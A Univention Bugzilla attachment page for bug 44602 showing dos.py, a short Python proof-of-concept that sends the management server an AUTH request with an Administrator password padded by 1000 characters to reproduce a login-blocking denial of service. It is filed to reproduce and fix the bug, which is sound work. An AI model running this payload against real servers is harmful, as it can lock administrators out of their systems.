Univention Bugzilla – Attachment 10082 Details for
Bug 44602
Login impossible after using huge password
Home
|
New
|
Browse
|
Search
|
[?]
|
Reports
|
Requests
|
Help
|
New Account
|
Log In
[x]
|
Forgot Password
Login:
[x]
Exploit dos.py
dos.py (text/x-python), 766 bytes, created by
Florian Best
on 2019-06-24 17:48:20 CEST
(
hide
)
Description:
Exploit dos.py
Filename:
MIME Type:
Creator:
Florian Best
Created:
2019-06-24 17:48:20 CEST
Size:
766 bytes
patch
obsolete
>import socket >import ssl >import json > >#payload = {"username": "Administrator", "new_password": None, "method": "POST", "headers": {"X-Requested-With": "XMLHttpRequest", "Accept-Language": "de-DE"}, "password": "univention", "options": {}} >payload = {"username": "Administrator", "method": "POST", "headers": {"X-Requested-With": "XMLHttpRequest", "Accept-Language": "de-DE"}, "password": "univention" + 'A' * 1000, "options": {}, "auth_type": None} > >sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) >sock.settimeout(10) >ssock = ssl.wrap_socket(sock) > >ssock.connect(('127.0.0.1', 6670)) >payload = json.dumps(payload) >ssock.send('REQUEST/156070008924147-1/%d/application/json: AUTH \n%s' % (len(payload), payload,)) >print(repr(ssock.recv(1280))) > >ssock.close()
<b>You cannot view the attachment while viewing its details because your browser does not support IFRAMEs. <a href="attachment.cgi?id=10082">View the attachment on a separate page</a>.</b>
View Attachment As Raw
Actions:
View
Attachments on
bug 44602
: 10082 |
10083
|
10086
|
10087
|
10088
|
10089